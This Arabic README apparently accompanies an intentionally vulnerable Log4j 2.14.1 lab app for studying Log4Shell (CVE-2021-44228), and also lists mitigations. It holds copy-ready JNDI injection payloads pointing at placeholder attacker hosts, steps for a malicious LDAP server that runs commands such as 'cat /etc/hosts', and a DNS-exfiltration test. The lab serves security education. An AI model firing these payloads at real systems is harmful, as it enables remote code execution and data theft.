Log4j2-BugMaker

CVE-2021-44228 مشروع توضيح ثغرة Log4Shell

هذا مشروع تجريبي لتعلم ودراسة ثغرة تنفيذ التعليمات البرمجية عن بُعد في Log4j2 (Log4Shell).

⚠️ تحذير أمني

هذا المشروع مخصص لأغراض البحث والتعليم الأمني فقط، ولا يُستخدم في بيئات الإنتاج!

يستخدم هذا المشروع إصدار Log4j 2.14.1 الذي يحتوي على ثغرة أمنية خطيرة.

📋 تكوين البيئة

• Spring Boot: 2.6.1
• Log4j2: 2.14.1 (إصدار معرض للثغرة)
• Java: 8 (JDK 1.8)

🚀 بدء سريع

1. تجميع المشروع

./mvnw clean package

2. تشغيل التطبيق

./mvnw spring-boot:run

أو:

java -jar target/log4j2-bugmaker-0.0.1-SNAPSHOT.jar

3. الوصول إلى التطبيق

افتح المتصفح واذهب إلى: http://localhost:8080

🎯 نقاط نهاية الثغرة

1. حقن رأس User-Agent

curl -H "User-Agent: \${jndi:ldap://attacker.com/a}" http://localhost:8080/api/log

2. حقن معلمات الاستعلام

curl "http://localhost:8080/api/search?query=\${jndi:ldap://attacker.com/a}"

3. فحص الصحة (بدون ثغرة)

curl http://localhost:8080/api/health

💡 مبدأ الثغرة

Log4Shell (CVE-2021-44228) هي ثغرة خطيرة في Apache Log4j2. عندما يسجل التطبيق مدخلات مستخدم تحتوي على سلسلة تنسيق خاصة، يقوم Log4j2 بتحليل تعبيرات بحث JNDI، ويمكن للمهاجم استغلال هذه الخاصية لتنفيذ تعليمات برمجية عن بُعد.

أمثلة على حمولات الهجوم

${jndi:ldap://evil.com/a}
${jndi:rmi://evil.com/a}
${jndi:dns://evil.com/a}

حمولات اختبارية (آمنة)

${java:version}
${java:os}
${env:PATH}

🔧 خطوات الاختبار

1. قم بتشغيل التطبيق
2. أرسل طلبًا يحتوي على تعبير JNDI
3. تحقق من سجلات وحدة التحكم وراقب سلوك تحليل Log4j2

🛡️ حلول الإصلاح

الحل 1: ترقية إصدار Log4j2

قم بترقية Log4j2 إلى الإصدار 2.17.1 أو أحدث:

<properties>
    <log4j2.version>2.17.1</log4j2.version>
</properties>

الحل 2: تعيين معلمات JVM

-Dlog4j2.formatMsgNoLookups=true

الحل 3: إزالة فئة JndiLookup

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

🚀 عرض تنفيذ التعليمات البرمجية عن بُعد

الطريقة 1: استخدام الأداة المرفقة (موصى به)

# 1. تشغيل السكريبت الآلي
./setup-exploit-server.sh

# 2. اختر أداة JNDI-Injection-Exploit
# 3. أدخل الأمر المراد تنفيذه (مثل whoami أو cat /etc/hosts)
# 4. في محطة أخرى، أرسل حمولة الهجوم

الطريقة 2: استخدام خادم LDAP بلغة Python

# تشغيل خادم LDAP ضار
python3 simple-ldap-server.py "whoami"

# أو تنفيذ أوامر أخرى
python3 simple-ldap-server.py "cat /etc/hosts"

# في محطة أخرى، أرسل حمولة الهجوم
curl -H 'User-Agent: ${jndi:ldap://YOUR_IP:1389/Exploit}' http://localhost:8080/api/log

الطريقة 3: التحقق من تسرب DNS (بدون إعداد خادم)

# تشغيل سكريبت اختبار تسرب DNS
./test-dns-exfiltration.sh

# اتبع التعليمات، ادخل إلى dnslog.cn للحصول على نطاق فرعي
# ثم تحقق من تلقي طلبات DNS

📚 مراجع

• تفاصيل CVE-2021-44228
• إعلان أمان Apache Log4j
• تحذير CISA
• JNDI-Injection-Exploit
• JNDIExploit

📝 الترخيص

هذا المشروع مرخص بموجب رخصة MIT.

إعلان خاص: هذا المشروع مخصص لأغراض التعليم والبحث الأمني فقط، ويتحمل المستخدم كامل المخاطر الناتجة عن استخدامه.

⚠️ إخلاء مسؤولية قانوني

يعد اختبار الاختراق على أنظمة الآخرين دون إذن أمرًا غير قانوني! هذا المشروع مخصص فقط لـ:

• التعلم في بيئة الاختبار الخاصة بك
• اختبارات أمنية مرخصة
• أغراض البحث والتعليم الأمني

يرجى الالتزام بالقوانين واللوائح المحلية، واستخدام هذه المعرفة بمسؤولية.